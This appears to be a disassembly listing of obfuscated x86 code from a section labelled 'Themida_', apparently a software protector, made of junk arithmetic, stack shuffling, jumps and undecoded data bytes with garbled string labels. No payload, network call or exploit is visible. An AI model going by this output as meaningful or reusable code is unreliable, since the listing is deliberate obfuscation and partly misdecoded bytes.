		sub	ebp, esi
		jmp	loc_56FA5C
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 417DE9h, 242C8900h, 4BDh,	40F4E900h, 4680000h, 5A000000h
		dd 34FFD601h, 0C4815A24h, 4, 8B243487h,	48F2424h, 0D3665C24h
		dd 0E99C240Ch, 0FFFFA5A2h, 0E9243C8Bh, 0FFFFFAA4h, 8B240C87h
		dd 0FBE92424h, 0BA0000CEh, 7B8E0046h, 8C8FE9h, 14875C00h
		dd 24248B24h, 9CC88566h, 0FFA575E9h, 0EA815FFFh, 26511EA4h
		dd 0C281CA01h, 26511EA4h, 667AE9h
		db 0
; ---------------------------------------------------------------------------


loc_566AE1:				; CODE XREF: Themida_:0056C5A5j
		pop	ebp
		add	edi, 0E7BFBBF0h
		add	ecx, edi
		pop	edi
		jmp	loc_572B55
; ---------------------------------------------------------------------------


loc_566AF0:				; CODE XREF: Themida_:005707A5j
		mov	edi, 2CD6C75h
		add	edi, 165E9E1Ch
		or	edx, edi
		jmp	loc_56B76A
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 9C23C4FDh, 8C35E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 5F620748h
		add	edi, 367A6393h
		jmp	loc_56AD7E
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0D5h
		dd 29790759h, 3C8B58C2h, 4C48124h, 33000000h, 14312414h
		dd 2097E924h, 0E95C0000h, 57CAh, 5866E388h, 0FEADB551h
		dd 0E9CDFEC5h, 0FFFFECA5h
; ---------------------------------------------------------------------------


loc_566B6C:				; CODE XREF: Themida_:0056D418j
		sub	edx, 3DBE4A5Ch
		jmp	loc_56EE7D
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924248Bh, 0FFFFA4C2h
; ---------------------------------------------------------------------------


loc_566B80:				; CODE XREF: Themida_:00568474j
		push	4C7C79A3h
		pop	ebp
		not	ebp
		sub	ebp, 74BE5F92h
		jmp	loc_563E03
; ---------------------------------------------------------------------------
aZSD		db '‡,$é#¤',0
		dw 400h
		dd 2434FF08h, 0E9241C8Bh, 0A3FAh
; ---------------------------------------------------------------------------


loc_566BA8:				; CODE XREF: Themida_:005619A4j
		mov	edi, 3802654Bh
		or	edi, 52E81891h
		jmp	loc_564030
; ---------------------------------------------------------------------------
		dd 565DEF01h, 3961B951h, 0E1C11EA3h, 495EE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566BCA:				; CODE XREF: Themida_:0056E257j
		xchg	ebx, edx
		xchg	edx, [esp]
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_56FF86
; ---------------------------------------------------------------------------
		dw 34FFh
aSos		db '$éoè',0
		align 2


loc_566BEA:				; CODE XREF: Themida_:00563BBBj
		pop	ebx
		add	esp, 4
		push	7714h
		jmp	loc_568029
; ---------------------------------------------------------------------------
		db 58h
		dd 83243C8Bh, 0C78104C4h, 4, 2B850h, 0C7810000h, 57DD126Fh
		dd 4A55E9h, 1C896600h, 6AB55124h, 0E96DB652h, 0F859h, 0F3BA525Ah
		dd 2112384Eh, 4C2D5AD0h, 0E9002044h, 81A2h, 0C281E289h
		dd 4, 0FFE695E9h, 0E5C780FFh, 0C780CFFEh, 0DB2EE976h, 0C2290000h
		dd 8124048Bh, 4C4h, 0E9D30100h,	0FFFFDDFFh, 24048B66h
		dd 5E545653h, 4C681h, 0EE810000h, 4, 8B243487h,	8F542424h
		dd 4832404h, 0EAE90424h, 8900005Bh, 24048BC3h, 104C483h
		dd 241C8BD9h, 4C481h, 0CE890000h, 9ABFE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566CAA:				; CODE XREF: Themida_:00561FAEj
		and	ebp, 29776F41h
		xor	ebp, 1134105h
		sub	ebx, ebp
		jmp	loc_571541
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 51h
		dd 31000006h, 32E9241Ch, 57000037h, 0FFE856E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566CD1:				; CODE XREF: Themida_:0056F004j
		add	edx, 228929C6h
		mov	ecx, edx
		pop	edx
		jmp	loc_567410
; ---------------------------------------------------------------------------
		db 0BDh
		dd 3CAF7376h, 1CDCF581h, 0B8507B7Dh, 1D6B7737h,	7E223548h
		dd 160D1F80h, 0E969DC0Bh, 948Fh
; ---------------------------------------------------------------------------


loc_566D00:				; CODE XREF: Themida_:005729A3j
		mov	ebx, 0
		jmp	loc_56EEC4
; ---------------------------------------------------------------------------


loc_566D0A:				; CODE XREF: Themida_:005696D8j
		pop	ebx
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_56DFD7
; ---------------------------------------------------------------------------
		db 89h
		dd 16BE2434h, 567E071Dh, 0A8242C81h, 0E95E7D61h, 0C96Bh
		dd 0EF80EF86h, 0D9EAE9B6h, 0EC81FFFFh, 4, 6AA0E9h
		db 0
; ---------------------------------------------------------------------------


loc_566D41:				; CODE XREF: Themida_:0057375Bj
		mov	ebp, edi
		push	ebp
		sub	dword ptr [esp], 50C03F4h
		pop	esi
		add	esi, 50C03F4h
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_56BED4
; ---------------------------------------------------------------------------


loc_566D66:				; CODE XREF: Themida_:00565F85j
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_571E6E
; ---------------------------------------------------------------------------
		dd 5966C800h, 5B2434FFh, 5304C483h, 0FFC349E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566D8D:				; CODE XREF: Themida_:0056D5D9j
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	43CCh
		mov	[esp], edx
		push	1D64h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_56462E
; ---------------------------------------------------------------------------
		dw 83ADh
		dd 0F00207Fh, 0A1B584h,	4EC8100h, 89000000h, 0EC83242Ch
		dd 241C8904h, 0BD1551BBh, 0B5D7E910h, 0EC830000h, 5E42E902h
		dd 0E95A0000h, 95F5h, 4EC8357h,	0BD242C89h, 0DB15434h
		dd 0E11CB8BFh, 0CEEF810Ah, 0E9582E20h, 0FFFFF335h, 0E9243489h
		dd 2DAh, 27C4EE81h, 0BF572104h,	754C5757h, 3C8BFE29h, 4C48324h
		dd 88B1E958h, 895C0000h, 0E789243Ch, 65F468h, 240C8900h
		dd 0C83F3568h, 0F896E920h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566E46:				; CODE XREF: Themida_:00569CE1j
		add	esp, 4
		shr	ecx, 7
		jmp	loc_56289E
; ---------------------------------------------------------------------------
		dd 4EC8150h, 89000000h,	0DFE9242Ch
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_566E63:				; CODE XREF: Themida_:005688ACj
		sub	ecx, 442A7A81h
		shl	ecx, 1
		push	ebx
		jmp	loc_576A92
; ---------------------------------------------------------------------------


loc_566E71:				; CODE XREF: Themida_:005764A1j
		pop	ebx
		pop	eax
		push	ebx
		mov	bh, 0F0h
		xor	cl, bh
		jmp	loc_5646FC
; ---------------------------------------------------------------------------


loc_566E7D:				; CODE XREF: Themida_:0056404Cj
		push	ebx
		jmp	loc_5735EC
; ---------------------------------------------------------------------------
aMhC		db '¬hœc',0
		dd 24148900h, 0B15150B2h, 0E9C828C2h, 9838h
; ---------------------------------------------------------------------------


loc_566E98:				; CODE XREF: Themida_:00574FE1j
		push	4F7Dh
		jmp	loc_564049
; ---------------------------------------------------------------------------


loc_566EA2:				; CODE XREF: Themida_:0056FA28j
		sub	dword ptr [esp], 5A094CCAh
		pop	eax
		add	eax, 5A094CCAh
		jmp	loc_572BCB
; ---------------------------------------------------------------------------
		dd 0E902EC83h, 0FFFFFD5Dh, 2B0F1C2Dh, 0E9F8013Dh, 0FFFFA728h
		dd 8924248Bh, 74FF240Ch, 34FF0424h, 240C8B24h, 4C481h
		dd 0C4810000h, 4, 8B24048Fh, 4312424h, 0A150E924h, 2C89FFFFh
		dd 4BD24h, 0D0E90000h, 0B7000001h, 58E730AAh, 5176CF80h
		dd 0F1807AB1h, 0E9CF006Bh, 0FFFFBCD3h, 0FFA129E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_566F19:				; CODE XREF: Themida_:00561DB1j
		push	3CE7h
		jmp	loc_56C26C
; ---------------------------------------------------------------------------
		db 81h
		dd 0A7C26C6h, 5EF2014Bh, 0AE6B951h, 7DE9264Ah, 8B00003Ch
		dd 0C4812414h, 4, 3107E6C1h, 0D868E9C6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566F4A:				; CODE XREF: Themida_:00565B2Cj
		xor	ebx, [esp]
		jmp	loc_565055
; ---------------------------------------------------------------------------


loc_566F52:				; CODE XREF: Themida_:005627D6j
		mov	edi, 77E72653h
		add	edi, 3B991387h
		push	0
		sub	[esp], edi
		pop	edi
		xor	edi, 6463FED1h
		xor	ecx, edi
		pop	edi
		sub	eax, 2C825F9Fh
		push	ebp
		mov	ebp, 8E7781Bh
		add	eax, ebp
		mov	ebp, [esp]
		jmp	loc_561793
; ---------------------------------------------------------------------------
		dd 4C4835Ah, 0FFF013E9h, 34FF5CFFh, 7D62E924h, 0C1290000h
		dd 74FF5158h, 0BAE90424h, 89FFFFCEh, 4C181E1h, 50000000h
		dd 4B8h, 0FFE0E900h, 0EC83FFFFh, 4896602h, 4EC8124h, 89000000h
		dd 82B22414h, 0D42808B4h, 66E1005Ah, 0B4505258h, 0F2A0E99Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566FDA:				; CODE XREF: Themida_:00561796j
		add	eax, ecx
		jmp	loc_56C855
; ---------------------------------------------------------------------------


loc_566FE1:				; CODE XREF: Themida_:005650ECj
		xor	esi, [esp]
		pop	esp
		add	dword ptr [esp+4], 462C71B5h
		sub	dword ptr [esp+4], 5597699Dh
		add	[esp+4], ebx
		add	dword ptr [esp+4], 5597699Dh
		jmp	loc_5672E2
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 0C895C24h, 53E18924h, 0E8C4E9h, 24148700h, 4EC815Ch
		dd 0E9000000h, 72D4h, 8005E6C0h, 0F3288EEEh, 0E2E1E9h
		dd 241C8B00h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		jmp	loc_565406
; ---------------------------------------------------------------------------
		dd 81240C8Bh, 4C4h, 4AD2F700h, 1DB7B951h, 0E95535FFh, 0FFFFE15Fh
; ---------------------------------------------------------------------------


loc_567060:				; CODE XREF: Themida_:0056CDDBj
		shr	eax, 4
		jmp	loc_570B57
; ---------------------------------------------------------------------------
		dd 0E9C5315Dh, 0FFFFC7F8h, 0E1462DBEh, 5EF7290Dh, 0DFE9FA01h
		db 96h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56707F:				; CODE XREF: Themida_:0056DE45j
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		sub	ebx, 528A23D9h
		sub	ebx, eax
		push	ebp
		mov	ebp, 630E749Eh
		sub	ebp, 23850F18h
		sub	ebp, 291360ECh
		jmp	loc_56C979
; ---------------------------------------------------------------------------
		dd 5A545258h, 4C281h, 0D5E90000h, 890000B1h, 0F8BFE9E7h
		dd 0C87FFFFh, 24248B24h, 0FF3BEE81h, 0E1E9F76Eh, 81FFFFF6h
		dd 4C190DE9h, 81E90118h, 4C190DC1h, 2DE95D18h, 81000010h
		dd 0EF10A9EEh, 253FE961h, 68570000h, 41B47BE1h,	8EFC15Fh
		dd 4B87C781h, 0E9FFBEh,	33FFFFC3h, 0E95C243Ch, 6326h, 0A21933B9h
		dd 0E9C1414Dh, 0F1C3E907h, 8853FFFFh, 5BFC88EFh, 81240C8Bh
		dd 4C4h, 0CEAAE900h, 1C890000h,	0E69E924h, 59580000h, 99E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_56713D:				; CODE XREF: Themida_:0056E4E5j
		pop	esp
		jmp	loc_56C9CA
; ---------------------------------------------------------------------------
		db 68h
		dd 15364C0Fh, 1FF6815Eh, 89011C35h, 0F1815EF1h,	1DE0B70Ch
		dd 0C009E9h
		db 0
; ---------------------------------------------------------------------------


loc_56715D:				; CODE XREF: Themida_:00570EACj
		mov	bh, 92h
		jmp	loc_56BF38
; ---------------------------------------------------------------------------


loc_567164:				; CODE XREF: Themida_:005707CBj
		sub	dword ptr [esp+8], 3BC924DCh
		sub	[esp+8], edi
		add	dword ptr [esp+8], 3BC924DCh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56F04D
; ---------------------------------------------------------------------------


loc_567183:				; CODE XREF: Themida_:005638CAj
		sub	ebx, ecx
		pop	ecx
		sub	ebx, 0B41C1C5Dh
		mov	edx, ebx
		jmp	loc_568C02
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0E9516600h, 74A9h
; ---------------------------------------------------------------------------


loc_5671A0:				; CODE XREF: Themida_:005769DBj
		push	edi
		mov	edi, esp
		jmp	loc_567CE9
; ---------------------------------------------------------------------------


loc_5671A8:				; CODE XREF: Themida_:00562209j
		mov	edx, 34B65176h
		xor	ebx, edx
		jmp	loc_568E24
; ---------------------------------------------------------------------------
		dd 1B93C381h, 6BE904A8h, 5C00001Ch, 0B965E9h, 9C516600h
		dd 0FF9E75E9h, 50C328FFh, 0C300C7B0h, 0A500E958h, 8680000h
		dd 0E9000039h, 0FFFFA216h, 9D1C77FFh, 1CD35966h, 4FE99C24h
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5671F3:				; CODE XREF: Themida_:0057334Fj
		xor	edi, 3E696F86h
		xor	ebp, edi
		jmp	loc_56AD3A
; ---------------------------------------------------------------------------
aQZsi		db 'Q±‡é‰×',0
		align 4
		dd 5AEEE980h, 0C8007704h, 2877B151h, 34FF59C8h,	240C8B24h
		dd 0D3DFE9h, 4C48300h, 8B8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_567229:				; CODE XREF: Themida_:0056B1DFj
		mov	eax, 0
		add	eax, ebx
		xor	dword ptr [eax], 0F813D115h
		pop	eax
		pop	ebx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		add	edi, 4
		push	ebp
		jmp	loc_568386
; ---------------------------------------------------------------------------


loc_567261:				; CODE XREF: Themida_:00574B9Fj
		xchg	edi, [esp]
		jmp	loc_5677E3
; ---------------------------------------------------------------------------


loc_567269:				; CODE XREF: Themida_:00576948j
		xor	[esp], edi
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		push	1C524D13h
		pop	edi
		not	edi
		neg	edi
		jmp	loc_567B91
; ---------------------------------------------------------------------------
		db 66h
		dd 0E924048Bh, 9F9Eh, 5DE9C889h, 51000063h, 0C181E189h
		dd 4, 4BE56h, 0F1290000h, 240C875Eh, 8924248Bh,	5FE92414h
		db 0B3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5672C3:				; CODE XREF: Themida_:00562663j
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		jmp	loc_57481C
; ---------------------------------------------------------------------------
aSK		db '\é/Š',0
		align 2


loc_5672E2:				; CODE XREF: Themida_:00567001j
		sub	dword ptr [esp+4], 462C71B5h
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_56E767
; ---------------------------------------------------------------------------
		dd 1D05D001h, 5A7BEC0Fh, 42Dh, 24048700h, 6A3F685Ch, 24890000h
		dd 24048324h, 24048F04h, 4B850h, 0B3E90000h, 83FFFFDFh
		dd 48904ECh, 26824h, 5BE90000h,	5F000052h, 0FFBD69E9h
		dd 240487FFh, 0ED81585Ch, 5EF9283Eh, 0C581FD01h, 5EF9283Eh
		dd 81243C8Bh, 4C4h, 0F81DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567376:				; CODE XREF: Themida_:0056B707j
		mov	[esp], ecx
		push	esi
		jmp	loc_570539
; ---------------------------------------------------------------------------
		db 81h
		dd 0B1ABBEEEh, 8BF0017Ah, 0C4812434h, 4, 13EFC181h, 22E94432h
		dd 5700009Fh, 4BFh, 5FFA0100h, 0FFB7CDE9h, 40FD05FFh, 895517FDh
		dd 8BEF89C5h, 0C481242Ch, 4, 5624048Bh,	0C681E689h, 4
		dd 8704C683h, 0DDE92434h, 680000CFh, 45DFh, 0FF9EF5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5673DD:				; CODE XREF: Themida_:00569751j
		sub	edx, 0EE2D1523h
		jmp	loc_56FF49
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 4C781h, 0FEE90000h
		db 0EAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5673FB:				; CODE XREF: Themida_:0056558Aj
		push	1EA4h
		mov	[esp], ebp
		pop	esi
		pop	ebp
		jmp	loc_5731C7
; ---------------------------------------------------------------------------


loc_56740A:				; CODE XREF: Themida_:0056F593j
		push	ecx
		jmp	loc_569952
; ---------------------------------------------------------------------------


loc_567410:				; CODE XREF: Themida_:00566CDAj
		push	ebp
		jmp	loc_5669CD
; ---------------------------------------------------------------------------
		dw 565Fh
		dd 199CB951h, 98BE2DC9h, 312DC919h, 0F50159CEh,	242C335Eh
		dd 33242C31h, 248B242Ch, 44C16824h, 3C890000h, 68E78924h
		dd 7B52h, 5E5DE9h, 49E95F00h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56744F:				; CODE XREF: Themida_:0056CB08j
		add	esi, 4
		sub	esi, 4
		jmp	loc_5705FE
; ---------------------------------------------------------------------------
		dd 0E400322Dh, 240C8B49h, 81E28952h, 4C2h, 4C28300h, 8B241487h
		dd 68572424h, 1275h, 0FFF892E9h, 59CE00FFh, 34FFF000h
		dd 0C4835A24h, 665B6604h, 66400E68h, 0B7241C89h, 0F6CF805Dh
		dd 0EFD0CFFEh, 0FFB6A0E9h, 5A66FFh, 241C8BD9h, 4C481h
		dd 0CB280000h, 6B685966h, 89000058h, 0BBE92404h, 1000084h
		dd 555B5EF1h, 4EC81h, 34890000h, 4ADDBE24h, 0D9BD626Dh
		dd 0E9626D4Ah, 0FFFFC171h, 927985BAh, 6E2C148h,	2B19BF57h
		dd 0EF816281h, 3A631E72h, 535FFA29h, 94756ABBh,	88C38149h
		dd 81166079h, 0D40361F3h, 23F3815Bh, 500F7A5Bh,	0A64B7BB8h
		dd 691C0567h, 0BFE96052h
		db 0BFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_567523:				; CODE XREF: Themida_:0056F465j
		pop	ebx
		pop	dword ptr [esp]
		jmp	loc_56D94F
; ---------------------------------------------------------------------------
		dd 54241C89h, 65E6685Bh, 4890000h, 4B824h, 0C3010000h
		dd 2C38358h, 6B17E953h,	0FF5D0000h, 0E95F2434h,	0CFA3h
		dd 391D68h, 0B44AE900h,	34890000h, 1DBA5224h, 0E95A9B15h
		dd 8474h, 4C281h, 0B8500000h, 4, 3358C201h, 14312414h
		dd 24143324h, 468665Ch,	1489667Ch, 5B624h, 0E993E9F0h
		dd 0B259FFFFh, 8BE23090h, 0C4812404h, 4, 0F6FFC280h, 74B551D2h
		dd 80A9F580h, 96E9CDF5h
		db 58h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5675B7:				; CODE XREF: Themida_:00562C4Dj
		mov	edi, 763E419Fh
		neg	edi
		sub	edi, 0BC6DE210h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 6A865457h
		jmp	loc_5739C9
; ---------------------------------------------------------------------------
		db 31h
		dd 4332404h, 24248B24h,	24148966h, 586FE9h, 0EDE98000h
		dd 23C2E9h, 4685100h, 0E9000000h, 0D8D2h, 2E98159h, 31AE808Fh
		dd 0E95559CBh, 0D1Ah
; ---------------------------------------------------------------------------


loc_56760C:				; CODE XREF: Themida_:0057049Dj
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_56D310
; ---------------------------------------------------------------------------
aYa		db 'Y€Ã»',0
aUaiXsc		db 'ã€ë»Xé— ',0
		align 4
		dd 0E904C583h, 773Ah, 0DA0BE953h, 0F731FFFFh, 0F731FE31h
		dd 240CFF56h, 0FFD740E9h, 0F0305BFFh, 5A2434FFh, 92B6E9h
		dd 242C8700h, 8EBE565Ch, 812A373Ch, 0D54BE6CEh,	514E4676h
		dd 0F77FEAB9h, 0BB77E97Eh, 248B0000h, 1BA5224h,	1000000h
		dd 0B82AE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56767E:				; CODE XREF: Themida_:0056D39Cj
		mov	[esp], edx
		jmp	loc_570F13
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 1A09685Ah, 0CBE90000h, 0F7FFFFFEh, 88BBE9DDh, 0B5510000h
		dd 30EFB48Dh, 0FE959ECh
		db 0EFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5676A7:				; CODE XREF: Themida_:0056F778j
		shr	ecx, 2
		push	225Ah
		mov	[esp], ebx
		jmp	loc_5676F0
; ---------------------------------------------------------------------------


loc_5676B7:				; CODE XREF: Themida_:0056EAD0j
		xor	esi, 0FFF7FEBh
		push	ebx
		jmp	loc_5751C8
; ---------------------------------------------------------------------------


loc_5676C3:				; CODE XREF: Themida_:0057698Dj
		mov	ebx, [esp]
		add	esp, 4


loc_5676CC:				; CODE XREF: Themida_:0056113Dj
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	edx
		push	esp
		jmp	loc_571E07
; ---------------------------------------------------------------------------
aIYxwsnp	db '‰ËYXWéN¯',0
		dw 2C00h
		dd 0E9C10471h, 6A7Ah
; ---------------------------------------------------------------------------


loc_5676F0:				; CODE XREF: Themida_:005676B2j
		push	6CB1h
		mov	[esp], ecx
		jmp	loc_563F36
; ---------------------------------------------------------------------------
		db 29h,	0F9h, 5Fh
		dd 83B1E9h
		db 0
; ---------------------------------------------------------------------------


loc_567705:				; CODE XREF: Themida_:0056ED25j
		xor	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 1D116D44h
		xor	edi, eax
		pop	eax
		shl	edi, 4
		shl	edi, 1
		neg	edi
		push	ecx
		mov	ecx, 694E6343h
		dec	ecx
		or	ecx, 4DF31298h
		and	ecx, 15B4071Ch
		sub	ecx, 0AC7DB76Bh
		xor	edi, ecx
		jmp	loc_56E9D4
; ---------------------------------------------------------------------------


loc_567738:				; CODE XREF: Themida_:00563247j
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_57464E
; ---------------------------------------------------------------------------


loc_56774C:				; CODE XREF: Themida_:005692A6j
		sub	edi, 7A9C2D94h
		pop	edx
		and	edi, 70918F2h
		inc	edi
		dec	edi
		push	edx
		mov	edx, 4000856h
		xor	edi, edx
		pop	edx
		mov	ebp, edi
		pop	edi
		add	esi, 54C23152h
		add	esi, ebp
		sub	esi, 54C23152h
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_56E910
; ---------------------------------------------------------------------------


loc_567789:				; CODE XREF: Themida_:00575D0Bj
		mov	[esp], edx
		mov	edx, 1Ch
		sub	edx, 8CF4E9Bh
		jmp	loc_5703FD
; ---------------------------------------------------------------------------
		dd 6A410BBFh, 93F7811Ah, 816A4A09h, 0C23D3FC7h,	3CD2E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5677B2:				; CODE XREF: Themida_:0056E6EEj
		push	esi
		mov	esi, 773B32F9h
		add	esi, 9DABD39Dh
		add	ebx, esi
		pop	esi
		jmp	loc_5765FE
; ---------------------------------------------------------------------------
		dw 0DA01h
		dd 0FFDFD3E9h, 6E9C1FFh, 0FFA4BEE9h, 5E5A56FFh,	3EDFC281h
		dd 47E92C8Eh
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5677E3:				; CODE XREF: Themida_:00567264j
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ebx, offset byte_511491
		push	edx
		push	esi
		mov	esi, 5FA6080Ch
		mov	edx, esi
		jmp	loc_569750
; ---------------------------------------------------------------------------


loc_5677FB:				; CODE XREF: Themida_:00563E38j
		push	2BD5h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_56C24C
; ---------------------------------------------------------------------------
		db 31h,	0F8h, 5Fh
		dd 53E1C381h, 0EB8159A1h, 3C370214h, 0F21EB81h,	0C32979E6h
		dd 0F21C381h, 0C38179E6h, 3C370214h, 0BCBFE9h
		db 0
; ---------------------------------------------------------------------------


loc_567841:				; CODE XREF: Themida_:00575917j
		add	edi, 863C1469h
		push	edx
		mov	edx, edi
		mov	ebp, edx
		pop	edx
		push	dword ptr [esp]
		jmp	loc_57346F
; ---------------------------------------------------------------------------
		db 0BFh, 27h, 51h
		dd 4CE974FCh
		db 0F2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56785F:				; CODE XREF: Themida_:0056C868j
		sub	eax, 3DB698Fh
		mov	esi, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		push	ebx
		mov	ebx, 17AD044Dh
		jmp	loc_5704C8
; ---------------------------------------------------------------------------
		db 56h,	0FFh, 4
		dd 0C6815E24h, 31C019F7h, 0C681DEF7h, 6A7A673Ah, 8483E9h
		db 0
; ---------------------------------------------------------------------------


loc_567899:				; CODE XREF: Themida_:005710B5j
		add	edx, ecx
		pop	ecx
		push	edi
		mov	edi, 4
		sub	edx, 5AE25359h
		sub	edx, edi
		add	edx, 5AE25359h
		jmp	loc_56B022
; ---------------------------------------------------------------------------
		db 68h,	0C8h, 9
		dd 895A4767h, 2434FFD0h, 0FFDA47E9h, 5FCB81FFh,	0E928AB0Ch
		dd 0FFFFEFDFh, 9514B951h, 32051639h, 0E949E400h, 2E49h
		dd 42474FFh, 582434FFh,	4EC81h,	2C890000h, 0E6895624h
		dd 4C681h, 0EE830000h, 0DA06E904h, 0BB530000h, 4, 79E9D801h
		dd 8100006Bh, 4C6h, 74FF5600h, 8F5E0424h, 0E95C2404h, 530Fh
		dd 0FF2434FFh, 6DE92434h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56792F:				; CODE XREF: Themida_:00575B9Aj
		pop	ebp
		xor	ebp, esi
		jmp	loc_571767
; ---------------------------------------------------------------------------


loc_567937:				; CODE XREF: Themida_:0056C138j
		mov	ebp, ecx
		pop	ecx
		jmp	loc_568171
; ---------------------------------------------------------------------------
		db 4
		dd 241C8B21h, 5304C483h, 0E780DDB7h, 0F6EF86F5h, 0F3D6E9D5h
		dd 815FFFFFh, 4C5h, 0FCEFE900h,	1C87FFFFh, 89665C24h, 0D3E92404h
		db 96h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56796F:				; CODE XREF: Themida_:00564804j
		add	eax, edx
		pop	edx
		add	esi, eax
		pop	eax
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_568234
; ---------------------------------------------------------------------------


loc_567983:				; CODE XREF: Themida_:00572C7Ej
		and	esi, eax
		pop	eax
		xor	esi, 3F557C19h
		push	ecx
		mov	ecx, 3DE84A92h
		add	ecx, 1A1512C3h
		sub	esi, ecx
		mov	ecx, [esp]
		push	ecx
		jmp	loc_564B01
; ---------------------------------------------------------------------------
		db 88h
		dd 241C8BFEh, 4C481h, 47E90000h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5679B3:				; CODE XREF: Themida_:0057023Cj
		mov	edx, esi
		pop	esi
		xor	edx, esi
		pop	esi
		add	edx, 63511436h
		jmp	loc_568A64
; ---------------------------------------------------------------------------


loc_5679C4:				; CODE XREF: Themida_:005719BCj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	6B35h
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_57469E
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 42D00h, 33E90000h, 1FFFFB3h, 0EB835EF3h, 74FF5304h
		dd 8F5B0424h, 895C2404h, 0B450241Ch, 2B31E912h,	0C3010000h
		dd 6C38158h, 0E9F86A70h, 0FFFFA487h, 665BFA88h,	83240C8Bh
		dd 536602C4h, 31BB68h, 24048900h, 52D38853h, 0F488DE88h
		dd 8324148Bh, 0D2E904C4h, 8F00000Eh, 685C2404h,	6C0Ah
		dd 54243489h, 53C2E95Eh, 0DD280000h, 0D9C5805Bh, 8059EB88h
		dd 0F380BAEBh, 0D53DE941h, 0BF570000h, 8AA2CBEh, 0C524EF81h
